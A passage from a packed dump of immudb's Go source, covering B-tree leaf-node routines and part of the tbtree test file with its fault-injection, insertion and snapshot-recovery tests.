{\n\t\t\treturn nil, 0, err\n\t\t}\n\n\t\thOff = int64(prevOff)\n\t}\n\n\treturn timedValues, hCount, nil\n}\n\nfunc (l *leafNode) findLeafNode(seekKey []byte, path path, _ int, neqKey []byte, descOrder bool) (path, *leafNode, int, error) {\n\tmetricsBtreeLeafNodeEntries.WithLabelValues(l.t.path).Observe(float64(len(l.values)))\n\tif descOrder {\n\t\tfor i := len(l.values); i > 0; i-- {\n\t\t\tkey := l.values[i-1].key\n\n\t\t\tif len(neqKey) > 0 && bytes.Compare(key, neqKey) >= 0 {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tif bytes.Compare(key, seekKey) < 1 {\n\t\t\t\treturn path, l, i - 1, nil\n\t\t\t}\n\t\t}\n\n\t\treturn nil, nil, 0, ErrKeyNotFound\n\t}\n\n\tfor i, v := range l.values {\n\t\tif len(neqKey) > 0 && bytes.Compare(v.key, neqKey) <= 0 {\n\t\t\tcontinue\n\t\t}\n\n\t\tif bytes.Compare(seekKey, v.key) < 1 {\n\t\t\treturn path, l, i, nil\n\t\t}\n\t}\n\n\treturn nil, nil, 0, ErrKeyNotFound\n}\n\nfunc (l *leafNode) indexOf(key []byte) (index int, found bool) {\n\tmetricsBtreeLeafNodeEntries.WithLabelValues(l.t.path).Observe(float64(len(l.values)))\n\n\tleft := 0\n\tright := len(l.values)\n\n\tvar middle int\n\tvar diff int\n\n\tfor left < right {\n\t\tmiddle = left + (right-left)/2\n\n\t\tdiff = bytes.Compare(l.values[middle].key, key)\n\n\t\tif diff == 0 {\n\t\t\treturn middle, true\n\t\t} else if diff < 0 {\n\t\t\tleft = middle + 1\n\t\t} else {\n\t\t\tright = middle\n\t\t}\n\t}\n\n\treturn left, false\n}\n\nfunc (l *leafNode) minKey() []byte {\n\tif len(l.values) == 0 {\n\t\treturn nil\n\t}\n\treturn l.values[0].key\n}\n\nfunc (l *leafNode) ts() uint64 {\n\treturn l._ts\n}\n\nfunc (l *leafNode) minOffset() int64 {\n\treturn l.off\n}\n\nfunc (l *leafNode) setTs(ts uint64) (node, error) {\n\tif l._ts >= ts {\n\t\treturn nil, ErrIllegalArguments\n\t}\n\n\tif l.mut {\n\t\tl._ts = ts\n\t\treturn l, nil\n\t}\n\n\tnewLeaf := &leafNode{\n\t\tt:      l.t,\n\t\tvalues: make([]*leafValue, len(l.values)),\n\t\t_ts:    ts,\n\t\tmut:    true,\n\t}\n\n\tfor i := 0; i < len(l.values); i++ {\n\t\tlv := l.values[i]\n\n\t\ttimedValues := make([]TimedValue, len(lv.timedValues))\n\t\tcopy(timedValues, lv.timedValues)\n\n\t\tnewLeaf.values[i] = &leafValue{\n\t\t\tkey:         lv.key,\n\t\t\ttimedValues: timedValues,\n\t\t\thOff:        lv.hOff,\n\t\t\thCount:      lv.hCount,\n\t\t}\n\t}\n\n\treturn newLeaf, nil\n}\n\n// size calculates the amount of bytes required to serialize a leaf node\n// note: requiredNodeSize must be revised if this function is modified\nfunc (l *leafNode) size() (int, error) {\n\tsize := 1 // Node type\n\n\tsize += 2 // kv count\n\n\tfor _, kv := range l.values {\n\t\ttv := kv.timedValue()\n\n\t\tsize += 2             // Key length\n\t\tsize += len(kv.key)   // Key\n\t\tsize += 2             // Value length\n\t\tsize += len(tv.Value) // Value\n\t\tsize += 8             // Ts\n\t\tsize += 8             // hOff\n\t\tsize += 8             // hCount\n\t}\n\n\treturn size, nil\n}\n\nfunc (l *leafNode) tsMutated() bool {\n\tfor _, v := range l.values {\n\t\tif v.timedValues[0].Ts >= l.ts() {\n\t\t\treturn false\n\t\t}\n\t}\n\treturn true\n}\n\nfunc (l *leafNode) mutated() bool {\n\treturn l.mut\n}\n\nfunc (l *leafNode) offset() int64 {\n\treturn l.off\n}\n\nfunc (l *leafNode) split() ([]node, error) {\n\tsize, err := l.size()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif size <= l.t.maxNodeSize {\n\t\tmetricsBtreeLeafNodeEntries.WithLabelValues(l.t.path).Observe(float64(len(l.values)))\n\t\treturn []node{l}, nil\n\t}\n\n\tsplitIndex := splitIndex(len(l.values))\n\n\tnewLeaf := &leafNode{\n\t\tt:      l.t,\n\t\tvalues: l.values[splitIndex:],\n\t\tmut:    true,\n\t}\n\tnewLeaf.updateTs()\n\n\tl.values = l.values[:splitIndex]\n\tl.updateTs()\n\n\tns1, err := l.split()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tns2, err := newLeaf.split()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn append(ns1, ns2...), nil\n}\n\nfunc splitIndex(sz int) int {\n\tif sz%2 == 0 {\n\t\treturn sz / 2\n\t}\n\treturn sz/2 + 1\n}\n\nfunc (l *leafNode) updateTs() {\n\tl._ts = 0\n\n\tfor i := 0; i < len(l.values); i++ {\n\t\tif l._ts < l.values[i].timedValue().Ts {\n\t\t\tl._ts = l.values[i].timedValue().Ts\n\t\t}\n\t}\n}\n\nfunc (lv *leafValue) timedValue() TimedValue {\n\treturn lv.timedValues[0]\n}\n\nfunc (lv *leafValue) historyCount() uint64 {\n\treturn lv.hCount + uint64(len(lv.timedValues))\n}\n\nfunc (lv *leafValue) size() int {\n\treturn 16 + len(lv.key) + len(lv.timedValue().Value)\n}\n\nfunc (lv *leafValue) lastUpdateBetween(hLog appendable.Appendable, initialTs, finalTs uint64) (value []byte, ts uint64, hc uint64, err error) {\n\tif initialTs > finalTs {\n\t\treturn nil, 0, 0, ErrIllegalArguments\n\t}\n\n\tfor i, tv := range lv.timedValues {\n\t\tif tv.Ts < initialTs {\n\t\t\treturn nil, 0, 0, ErrKeyNotFound\n\t\t}\n\n\t\tif finalTs == 0 || tv.Ts <= finalTs {\n\t\t\treturn tv.Value, tv.Ts, lv.historyCount() - uint64(i), nil\n\t\t}\n\t}\n\n\thOff := lv.hOff\n\tskippedUpdates := uint64(0)\n\n\tfor i := uint64(0); i < lv.hCount; i++ {\n\t\tr := appendable.NewReaderFrom(hLog, hOff, DefaultMaxNodeSize)\n\n\t\thc, err := r.ReadUint32()\n\t\tif err != nil {\n\t\t\treturn nil, 0, 0, err\n\t\t}\n\n\t\tfor j := 0; j < int(hc); j++ {\n\t\t\tvalueLen, err := r.ReadUint16()\n\t\t\tif err != nil {\n\t\t\t\treturn nil, 0, 0, err\n\t\t\t}\n\n\t\t\tvalue := make([]byte, valueLen)\n\t\t\t_, err = r.Read(value)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, 0, 0, err\n\t\t\t}\n\n\t\t\tts, err := r.ReadUint64()\n\t\t\tif err != nil {\n\t\t\t\treturn nil, 0, 0, err\n\t\t\t}\n\n\t\t\tif ts < initialTs {\n\t\t\t\treturn nil, 0, 0, ErrKeyNotFound\n\t\t\t}\n\n\t\t\tif ts <= finalTs {\n\t\t\t\treturn value, ts, lv.hCount - skippedUpdates, nil\n\t\t\t}\n\n\t\t\tskippedUpdates++\n\t\t}\n\n\t\tprevOff, err := r.ReadUint64()\n\t\tif err != nil {\n\t\t\treturn nil, 0, 0, err\n\t\t}\n\n\t\thOff = int64(prevOff)\n\t}\n\n\treturn nil, 0, 0, ErrKeyNotFound\n}\n"
  },
  {
    "path": "embedded/tbtree/tbtree_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage tbtree\n\nimport (\n\t\"bytes\"\n\t\"crypto/sha256\"\n\t\"encoding/binary\"\n\t\"errors\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"math/rand\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"strings\"\n\t\"sync\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/embedded/appendable\"\n\t\"github.com/codenotary/immudb/embedded/appendable/mocked\"\n\t\"github.com/codenotary/immudb/embedded/appendable/multiapp\"\n\t\"github.com/codenotary/immudb/embedded/appendable/singleapp\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestEdgeCases(t *testing.T) {\n\tpath := t.TempDir()\n\n\t_, err := Open(path, nil)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\t_, err = OpenWith(path, \"\", nil, nil, nil, nil)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\tnLog := &mocked.MockedAppendable{}\n\thLog := &mocked.MockedAppendable{}\n\tcLog := &mocked.MockedAppendable{}\n\n\tinjectedError := errors.New(\"error\")\n\n\tt.Run(\"Should fail reading maxNodeSize from metadata\", func(t *testing.T) {\n\t\tcLog.MetadataFn = func() []byte {\n\t\t\treturn nil\n\t\t}\n\t\t_, err = OpenWith(path, \"\", nLog, hLog, cLog, DefaultOptions())\n\t\trequire.ErrorIs(t, err, ErrCorruptedCLog)\n\t})\n\n\tt.Run(\"Should fail reading version from metadata\", func(t *testing.T) {\n\t\tcLog.MetadataFn = func() []byte {\n\t\t\tmd := appendable.NewMetadata(nil)\n\t\t\tmd.PutInt(MetaVersion, 1)\n\t\t\treturn md.Bytes()\n\t\t}\n\n\t\t_, err = OpenWith(path, \"\", nLog, hLog, cLog, DefaultOptions())\n\t\trequire.ErrorIs(t, err, ErrIncompatibleDataFormat)\n\t})\n\n\tt.Run(\"Should fail reading cLogSize\", func(t *testing.T) {\n\t\tcLog.MetadataFn = func() []byte {\n\t\t\tmd := appendable.NewMetadata(nil)\n\t\t\tmd.PutInt(MetaVersion, Version)\n\t\t\tmd.PutInt(MetaMaxNodeSize, requiredNodeSize(1, 1))\n\t\t\tmd.PutInt(MetaMaxKeySize, 1)\n\t\t\tmd.PutInt(MetaMaxValueSize, 1)\n\t\t\treturn md.Bytes()\n\t\t}\n\n\t\tcLog.SizeFn = func() (int64, error) {\n\t\t\treturn 0, injectedError\n\t\t}\n\t\t_, err = OpenWith(path, \"\", nLog, hLog, cLog, DefaultOptions())\n\t\trequire.ErrorIs(t, err, injectedError)\n\t})\n\n\tt.Run(\"Should fail truncating clog\", func(t *testing.T) {\n\t\tcLog.SizeFn = func() (int64, error) {\n\t\t\treturn cLogEntrySize + 1, nil\n\t\t}\n\t\tcLog.SetOffsetFn = func(off int64) error {\n\t\t\treturn injectedError\n\t\t}\n\t\t_, err = OpenWith(path, \"\", nLog, hLog, cLog, DefaultOptions())\n\t\trequire.ErrorIs(t, err, injectedError)\n\t})\n\n\tt.Run(\"Should succeed\", func(t *testing.T) {\n\t\tcLog.MetadataFn = func() []byte {\n\t\t\tmd := appendable.NewMetadata(nil)\n\t\t\tmd.PutInt(MetaVersion, Version)\n\t\t\tmd.PutInt(MetaMaxNodeSize, requiredNodeSize(1, 1))\n\t\t\tmd.PutInt(MetaMaxKeySize, 1)\n\t\t\tmd.PutInt(MetaMaxValueSize, 1)\n\t\t\treturn md.Bytes()\n\t\t}\n\t\tcLog.SizeFn = func() (int64, error) {\n\t\t\treturn cLogEntrySize - 1, nil\n\t\t}\n\t\tcLog.SetOffsetFn = func(off int64) error {\n\t\t\treturn nil\n\t\t}\n\t\thLog.SetOffsetFn = func(off int64) error {\n\t\t\treturn nil\n\t\t}\n\t\thLog.OffsetFn = func() int64 {\n\t\t\treturn 0\n\t\t}\n\t\thLog.SizeFn = func() (int64, error) {\n\t\t\treturn 0, nil\n\t\t}\n\t\t_, err = OpenWith(path, \"\", nLog, hLog, cLog, DefaultOptions())\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"Should fail when unable to read from cLog\", func(t *testing.T) {\n\t\tcLog.SizeFn = func() (int64, error) {\n\t\t\treturn cLogEntrySize, nil\n\t\t}\n\t\tcLog.ReadAtFn = func(bs []byte, off int64) (int, error) {\n\t\t\treturn 0, injectedError\n\t\t}\n\t\t_, err = OpenWith(path, \"\", nLog, hLog, cLog, DefaultOptions())\n\t\trequire.ErrorIs(t, err, injectedError)\n\t})\n\n\tt.Run(\"Should fail when unable to read current root node type\", func(t *testing.T) {\n\t\tcLog.ReadAtFn = func(bs []byte, off int64) (int, error) {\n\t\t\trequire.EqualValues(t, 0, off)\n\t\t\trequire.Len(t, bs, cLogEntrySize)\n\t\t\tfor i := range bs {\n\t\t\t\tbs[i] = 0\n\t\t\t}\n\t\t\tbinary.BigEndian.PutUint64(bs[8:], 1)  // set final size\n\t\t\tbinary.BigEndian.PutUint32(bs[16:], 1) // set a min node size\n\t\t\treturn len(bs), nil\n\t\t}\n\t\tnLog.ReadAtFn = func(bs []byte, off int64) (int, error) {\n\t\t\treturn 0, injectedError\n\t\t}\n\t\t_, err = OpenWith(path, \"\", nLog, hLog, cLog, DefaultOptions())\n\t\trequire.ErrorIs(t, err, injectedError)\n\t})\n\n\tt.Run(\"Invalid root node type\", func(t *testing.T) {\n\t\tnLog.ReadAtFn = func(bs []byte, off int64) (int, error) {\n\t\t\tnLogBuffer := []byte{0xFF, 0, 0, 0, 0}\n\t\t\trequire.Less(t, off, int64(len(nLogBuffer)))\n\t\t\tl := copy(bs, nLogBuffer[off:])\n\t\t\treturn l, nil\n\t\t}\n\t\tcLog.ReadAtFn = func(bs []byte, off int64) (int, error) {\n\t\t\tbinary.BigEndian.PutUint64(bs[8:], 1)  // set final size\n\t\t\tbinary.BigEndian.PutUint32(bs[16:], 1) // set a min node size\n\n\t\t\tnLogChecksum, err := appendable.Checksum(nLog, 0, 1)\n\t\t\tcopy(bs[20:], nLogChecksum[:])\n\n\t\t\thLogChecksum := sha256.Sum256(nil)\n\t\t\tcopy(bs[68:], hLogChecksum[:])\n\n\t\t\treturn len(bs), err\n\t\t}\n\t\t_, err = OpenWith(path, \"\", nLog, hLog, cLog, DefaultOptions())\n\t\trequire.ErrorIs(t, err, ErrReadingFileContent)\n\t})\n\n\tt.Run(\"Error while reading a single leaf node content\", func(t *testing.T) {\n\t\tnLogBuffer := []byte{\n\t\t\tLeafNodeType, // Node type\n\t\t\t0, 1,         // 1 child\n\t\t\t0, 1, // key size\n\t\t\t123,  // key\n\t\t\t0, 1, // value size\n\t\t\t23,                     // value\n\t\t\t0, 0, 0, 0, 0, 0, 0, 0, // Timestamp\n\t\t\t0, 0, 0, 0, 0, 0, 0, 0, // history log offset\n\t\t\t0, 0, 0, 0, 0, 0, 0, 0, // history log count\n\t\t}\n\t\tfor i := 1; i < len(nLogBuffer); i++ {\n\t\t\tinjectedError := fmt.Errorf(\"Injected error %d\", i)\n\t\t\tbuff := nLogBuffer[:i]\n\t\t\tnLog.ReadAtFn = func(bs []byte, off int64) (int, error) {\n\t\t\t\tif off >= int64(len(buff)) {\n\t\t\t\t\treturn 0, injectedError\n\t\t\t\t}\n\n\t\t\t\treturn copy(bs, buff[off:]), nil\n\t\t\t}\n\t\t\t_, err = OpenWith(path, \"\", nLog, hLog, cLog, DefaultOptions())\n\t\t\trequire.ErrorIs(t, err, injectedError)\n\t\t}\n\t})\n\n\tt.Run(\"Error while reading an inner node content\", func(t *testing.T) {\n\t\tnLogBuffer := []byte{\n\t\t\tInnerNodeType, // Node type\n\t\t\t0, 1,          // 1 child\n\t\t\t0, 1, // min key size\n\t\t\t0,                      // min key\n\t\t\t0, 0, 0, 0, 0, 0, 0, 0, // Timestamp\n\t\t\t0, 0, 0, 0, 0, 0, 0, 0, // offset\n\t\t\t0, 0, 0, 0, 0, 0, 0, 0, // min offset\n\t\t}\n\t\tfor i := 1; i < len(nLogBuffer); i++ {\n\t\t\tinjectedError := fmt.Errorf(\"Injected error %d\", i)\n\t\t\tbuff := nLogBuffer[:i]\n\n\t\t\tcLog.MetadataFn = func() []byte {\n\t\t\t\tmd := appendable.NewMetadata(nil)\n\t\t\t\tmd.PutInt(MetaVersion, Version)\n\t\t\t\tmd.PutInt(MetaMaxNodeSize, requiredNodeSize(1, 1))\n\t\t\t\tmd.PutInt(MetaMaxKeySize, 1)\n\t\t\t\tmd.PutInt(MetaMaxValueSize, 1)\n\t\t\t\treturn md.Bytes()\n\t\t\t}\n\n\t\t\tnLog.ReadAtFn = func(bs []byte, off int64) (int, error) {\n\t\t\t\tif off >= int64(len(buff)) {\n\t\t\t\t\treturn 0, injectedError\n\t\t\t\t}\n\n\t\t\t\treturn copy(bs, buff[off:]), nil\n\t\t\t}\n\n\t\t\t_, err = OpenWith(path, \"\", nLog, hLog, cLog, DefaultOptions())\n\t\t\trequire.ErrorIs(t, err, injectedError)\n\t\t}\n\t})\n\n\topts := DefaultOptions().\n\t\tWithMaxActiveSnapshots(1).\n\t\tWithFlushThld(1000)\n\ttree, err := Open(path, opts)\n\trequire.NoError(t, err)\n\trequire.Equal(t, uint64(0), tree.Ts())\n\n\trequire.Error(t, tree.wrapNwarn(\"message\"))\n\trequire.ErrorIs(t, tree.wrapNwarn(\"%w\", ErrorMaxKeySizeExceeded), ErrorMaxKeySizeExceeded)\n\trequire.ErrorIs(t, tree.wrapNwarn(\"%w\", ErrorMaxValueSizeExceeded), ErrorMaxValueSizeExceeded)\n\n\terr = tree.Insert(make([]byte, tree.maxKeySize+1), make([]byte, tree.maxValueSize))\n\trequire.ErrorIs(t, err, ErrorMaxKeySizeExceeded)\n\n\terr = tree.Insert(make([]byte, tree.maxKeySize), make([]byte, tree.maxValueSize+1))\n\trequire.ErrorIs(t, err, ErrorMaxValueSizeExceeded)\n\n\t_, _, _, err = tree.Get(nil)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\tfor i := 0; i < 100; i++ {\n\t\terr = tree.Insert(make([]byte, 1), []byte{2})\n\t\trequire.NoError(t, err)\n\t}\n\n\ttss, hCount, err := tree.History(make([]byte, 1), 0, true, 10)\n\trequire.NoError(t, err)\n\trequire.Len(t, tss, 10)\n\trequire.EqualValues(t, 100, hCount)\n\n\ttss, hCount, err = tree.History(make([]byte, 1), 0, false, 10)\n\trequire.NoError(t, err)\n\trequire.Len(t, tss, 10)\n\trequire.EqualValues(t, 100, hCount)\n\n\terr = tree.Sync()\n\trequire.NoError(t, err)\n\n\ts1, err := tree.Snapshot()\n\trequire.NoError(t, err)\n\n\t_, _, err = s1.History(make([]byte, 1), 0, false, 100)\n\trequire.NoError(t, err)\n\n\t_, _, err = s1.History(make([]byte, 1), 101, false, 100)\n\trequire.ErrorIs(t, err, ErrOffsetOutOfRange)\n\n\t_, err = tree.Snapshot()\n\trequire.ErrorIs(t, err, ErrorToManyActiveSnapshots)\n\n\terr = tree.Close()\n\trequire.ErrorIs(t, err, ErrSnapshotsNotClosed)\n\n\terr = s1.Close()\n\trequire.NoError(t, err)\n\n\tfor i := 1; i < 100; i++ {\n\t\tvar k [4]byte\n\t\tbinary.BigEndian.PutUint32(k[:], uint32(i))\n\n\t\ts1, err := tree.Snapshot()\n\t\trequire.NoError(t, err)\n\n\t\t_, _, err = s1.History([]byte{2}, 0, false, 1)\n\t\trequire.ErrorIs(t, err, ErrKeyNotFound)\n\n\t\terr = s1.Close()\n\t\trequire.NoError(t, err)\n\n\t\terr = tree.Insert(k[:], []byte{2})\n\t\trequire.NoError(t, err)\n\t}\n\n\trequire.NoError(t, tree.Close())\n}\n\nfunc monotonicInsertions(t *testing.T, tbtree *TBtree, itCount int, kCount int, ascMode bool) {\n\tfor i := 0; i < itCount; i++ {\n\t\tfor j := 0; j < kCount; j++ {\n\t\t\tk := make([]byte, 4)\n\t\t\tif ascMode {\n\t\t\t\tbinary.BigEndian.PutUint32(k, uint32(j))\n\t\t\t} else {\n\t\t\t\tbinary.BigEndian.PutUint32(k, uint32(kCount-j))\n\t\t\t}\n\n\t\t\tv := make([]byte, 8)\n\t\t\tbinary.BigEndian.PutUint64(v, uint64(i<<4+j))\n\n\t\t\tts := uint64(i*kCount+j) + 1\n\n\t\t\tsnapshot, err := tbtree.Snapshot()\n\t\t\trequire.NoError(t, err)\n\t\t\tsnapshotTs := snapshot.Ts()\n\t\t\trequire.Equal(t, ts-1, snapshotTs)\n\n\t\t\tv1, ts1, hc, err := snapshot.Get(k)\n\n\t\t\tif i == 0 {\n\t\t\t\trequire.ErrorIs(t, err, ErrKeyNotFound)\n\t\t\t} else {\n\t\t\t\trequire.NoError(t, err)\n\n\t\t\t\texpectedV := make([]byte, 8)\n\t\t\t\tbinary.BigEndian.PutUint64(expectedV, uint64((i-1)<<4+j))\n\t\t\t\trequire.Equal(t, expectedV, v1)\n\n\t\t\t\texpectedTs := uint64((i-1)*kCount+j) + 1\n\t\t\t\trequire.Equal(t, expectedTs, ts1)\n\n\t\t\t\trequire.Equal(t, uint64(i), hc)\n\n\t\t\t\t_, _, _, err := tbtree.GetBetween(k, 1, ts1)\n\t\t\t\trequire.NoError(t, err)\n\t\t\t}\n\n\t\t\tif j == kCount-1 {\n\t\t\t\t_, _, _, _, err := tbtree.GetWithPrefix(k, k)\n\t\t\t\trequire.ErrorIs(t, err, ErrKeyNotFound)\n\t\t\t}\n\n\t\t\tif i%2 == 1 {\n\t\t\t\terr = snapshot.Close()\n\t\t\t\trequire.NoError(t, err)\n\t\t\t}\n\n\t\t\terr = tbtree.Insert(k, v)\n\t\t\trequire.NoError(t, err)\n\n\t\t\t_, _, err = tbtree.Flush()\n\t\t\trequire.NoError(t, err)\n\n\t\t\tif i%2 == 0 {\n\t\t\t\terr = snapshot.Close()\n\t\t\t\trequire.NoError(t, err)\n\t\t\t}\n\n\t\t\tsnapshot, err = tbtree.Snapshot()\n\t\t\trequire.NoError(t, err)\n\t\t\tsnapshotTs = snapshot.Ts()\n\t\t\trequire.Equal(t, ts, snapshotTs)\n\n\t\t\tv1, ts1, hc, err = snapshot.Get(k)\n\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Equal(t, v, v1)\n\t\t\trequire.Equal(t, ts, ts1)\n\t\t\trequire.Equal(t, uint64(i+1), hc)\n\n\t\t\terr = snapshot.Close()\n\t\t\trequire.NoError(t, err)\n\t\t}\n\t}\n}\n\nfunc checkAfterMonotonicInsertions(t *testing.T, tbtree *TBtree, itCount int, kCount int, ascMode bool) {\n\tsnapshot, err := tbtree.Snapshot()\n\trequire.NoError(t, err)\n\n\ti := itCount\n\n\tfor j := 0; j < kCount; j++ {\n\t\tk := make([]byte, 4)\n\t\tif ascMode {\n\t\t\tbinary.BigEndian.PutUint32(k, uint32(j))\n\t\t} else {\n\t\t\tbinary.BigEndian.PutUint32(k, uint32(kCount-j))\n\t\t}\n\n\t\tv := make([]byte, 8)\n\t\tbinary.BigEndian.PutUint64(v, uint64(i<<4+j))\n\n\t\tv1, ts1, hc1, err := snapshot.Get(k)\n\n\t\trequire.NoError(t, err)\n\n\t\texpectedV := make([]byte, 8)\n\t\tbinary.BigEndian.PutUint64(expectedV, uint64((i-1)<<4+j))\n\t\trequire.Equal(t, expectedV, v1)\n\n\t\texpectedTs := uint64((i-1)*kCount+j) + 1\n\t\trequire.Equal(t, expectedTs, ts1)\n\n\t\trequire.Equal(t, uint64(itCount), hc1)\n\t}\n\n\terr = snapshot.Close()\n\trequire.NoError(t, err)\n}\n\nfunc randomInsertions(t *testing.T, tbtree *TBtree, kCount int, override bool) {\n\tseed := rand.NewSource(time.Now().UnixNano())\n\trnd := rand.New(seed)\n\n\tfor i := 0; i < kCount; i++ {\n\t\tk := make([]byte, 4)\n\t\tbinary.BigEndian.PutUint32(k, rnd.Uint32())\n\n\t\tif !override {\n\t\t\tsnapshot, err := tbtree.Snapshot()\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Equal(t, uint64(i), snapshot.Ts())\n\n\t\t\tfor {\n\t\t\t\t_, _, _, err = snapshot.Get(k)\n\t\t\t\tif errors.Is(err, ErrKeyNotFound) {\n\t\t\t\t\t_, _, _, _, err := tbtree.GetWithPrefix(k, nil)\n\t\t\t\t\trequire.ErrorIs(t, err, ErrKeyNotFound)\n\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t\tbinary.BigEndian.PutUint32(k, rnd.Uint32())\n\t\t\t}\n\n\t\t\terr = snapshot.Close()\n\t\t\trequire.NoError(t, err)\n\t\t}\n\n\t\tv := make([]byte, 8)\n\t\tbinary.BigEndian.PutUint64(v, uint64(i))\n\n\t\tts := uint64(i + 1)\n\n\t\terr := tbtree.Insert(k, v)\n\t\trequire.NoError(t, err)\n\n\t\tk1, v1, ts1, hc1, err := tbtree.GetWithPrefix(k, nil)\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, k, k1)\n\t\trequire.Equal(t, v, v1)\n\t\trequire.NotZero(t, ts1)\n\t\trequire.NotZero(t, hc1)\n\n\t\tv0, ts0, hc0, err := tbtree.Get(k)\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, v, v0)\n\t\trequire.Equal(t, ts, ts0)\n\t\tif override {\n\t\t\trequire.Greater(t, hc0, uint64(0))\n\t\t} else {\n\t\t\trequire.Equal(t, uint64(1), hc0)\n\t\t}\n\n\t\t_, _, err = tbtree.Flush()\n\t\trequire.NoError(t, err)\n\n\t\tsnapshot, err := tbtree.Snapshot()\n\t\trequire.NoError(t, err)\n\t\tsnapshotTs := snapshot.Ts()\n\t\trequire.Equal(t, ts, snapshotTs)\n\n\t\tv1, ts1, hc1, err = snapshot.Get(k)\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, v, v1)\n\t\trequire.Equal(t, ts, ts1)\n\t\tif override {\n\t\t\trequire.Greater(t, hc1, uint64(0))\n\t\t} else {\n\t\t\trequire.Equal(t, uint64(1), hc1)\n\t\t}\n\n\t\ttvs, _, err := snapshot.History(k, 0, true, 1)\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, ts, tvs[0].Ts)\n\n\t\terr = snapshot.Close()\n\t\trequire.NoError(t, err)\n\t}\n}\n\nfunc TestInvalidOpening(t *testing.T) {\n\t_, err := Open(\"\", nil)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\t_, err = Open(\"tbtree_test.go\", DefaultOptions())\n\trequire.ErrorIs(t, err, ErrorPathIsNotADirectory)\n\n\t_, err = OpenWith(\"tbtree_test\", \"\", nil, nil, nil, nil)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\t_, err = Open(\"invalid\\x00_dir_name\", DefaultOptions())\n\trequire.EqualError(t, err, \"stat invalid\\x00_dir_name: invalid argument\")\n\n\troPath := filepath.Join(t.TempDir(), \"ro_path\")\n\trequire.NoError(t, os.MkdirAll(roPath, 0500))\n\n\t_, err = Open(filepath.Join(roPath, \"subpath\"), DefaultOptions())\n\trequire.ErrorContains(t, err, \"subpath: permission denied\")\n\n\tfor _, brokenPath := range []string{\"nodes\", \"history\", \"commit\"} {\n\t\tt.Run(\"error opening \"+brokenPath, func(t *testing.T) {\n\t\t\tpath := t.TempDir()\n\n\t\t\terr = ioutil.WriteFile(filepath.Join(path, brokenPath), []byte{}, 0666)\n\t\t\trequire.NoError(t, err)\n\n\t\t\t_, err = Open(path, DefaultOptions())\n\t\t\trequire.ErrorIs(t, err, multiapp.ErrorPathIsNotADirectory)\n\t\t})\n\t}\n}\n\nfunc TestSnapshotRecovery(t *testing.T) {\n\td := t.TempDir()\n\n\t// Starting with some historical garbage\n\thpath := filepath.Join(d, historyFolder)\n\thapp, err := multiapp.Open(hpath, multiapp.DefaultOptions())\n\trequire.NoError(t, err)\n\n\t_, _, err = happ.Append([]byte{1, 2, 3})\n\trequire.NoError(t, err)\n\n\terr = happ.Close()\n\trequire.NoError(t, err)\n\n\t// Starting with an invalid folder name\n\tos.MkdirAll(filepath.Join(d, fmt.Sprintf(\"%s1z\", commitFolderPrefix)), 0777)\n\n\ttree, err := Open(d, DefaultOptions().WithCompactionThld(1))\n\trequire.NoError(t, err)\n\n\tsnapc, err := tree.SnapshotCount()\n\trequire.NoError(t, err)\n\trequire.Equal(t, uint64(0), snapc)\n\n\terr = tree.BulkInsert([]*KVT{\n\t\t{K: []byte(\"key1\"), V: []byte(\"value1\")},\n\t})\n\trequire.NoError(t, err)\n\n\t_, err = tree.Compact()\n\trequire.ErrorIs(t, err, ErrCompactionThresholdNotReached)\n\n\t_, _, err = tree.Flush()\n\trequire.NoError(t, err)\n\n\tc, err := tree.Compact()\n\trequire.NoError(t, err)\n\trequire.Equal(t, uint64(1), c)\n\n\tsnapc, err = tree.SnapshotCount()\n\trequire.NoError(t, err)\n\trequire.Equal(t, uint64(1), snapc)\n\n\terr = tree.BulkInsert([]*KVT{\n\t\t{K: []byte(\"key2\"), V: []byte(\"value2\")},\n\t\t{K: []byte(\"key3\"), V: []byte(\"value3\")},\n\t})\n\trequire.NoError(t, err)\n\n\terr = tree.BulkInsert([]*KVT{\n\t\t{K: []byte(\"key4\"), V: []byte(\"value4\")},\n\t})\n\trequire.NoError(t, err)\n\n\tc, err = tree.Compact()\n\trequire.NoError(t, err)\n\trequire.Equal(t, uint64(3), c)\n\n\t_, _, err = tree.Flush()\n\trequire.NoError(t, err)\n\n\tsnapc, err = tree.SnapshotCount()\n\trequire.NoError(t, err)\n\trequire.Equal(t, uint64(2), snapc)\n\n\terr = tree.Close()\n\trequire.NoError(t, err)\n\n\t_, err = tree.SnapshotCount()\n\trequire.ErrorIs(t, err, ErrAlreadyClosed)\n\n\ttree, err = Open(d, DefaultOptions())\n\trequire.NoError(t, err)\n\n\tsnapc, err = tree.SnapshotCount()\n\trequire.NoError(t, err)\n\trequire.Equal(t, uint64(1), snapc)\n\n\trequire.Equal(t, uint64(3), tree.Ts())\n\n\terr = tree.Close()\n\trequire.NoError(t, err)\n\n\tos.RemoveAll(filepath.Join(d, snapFolder(nodesFolderPrefix, 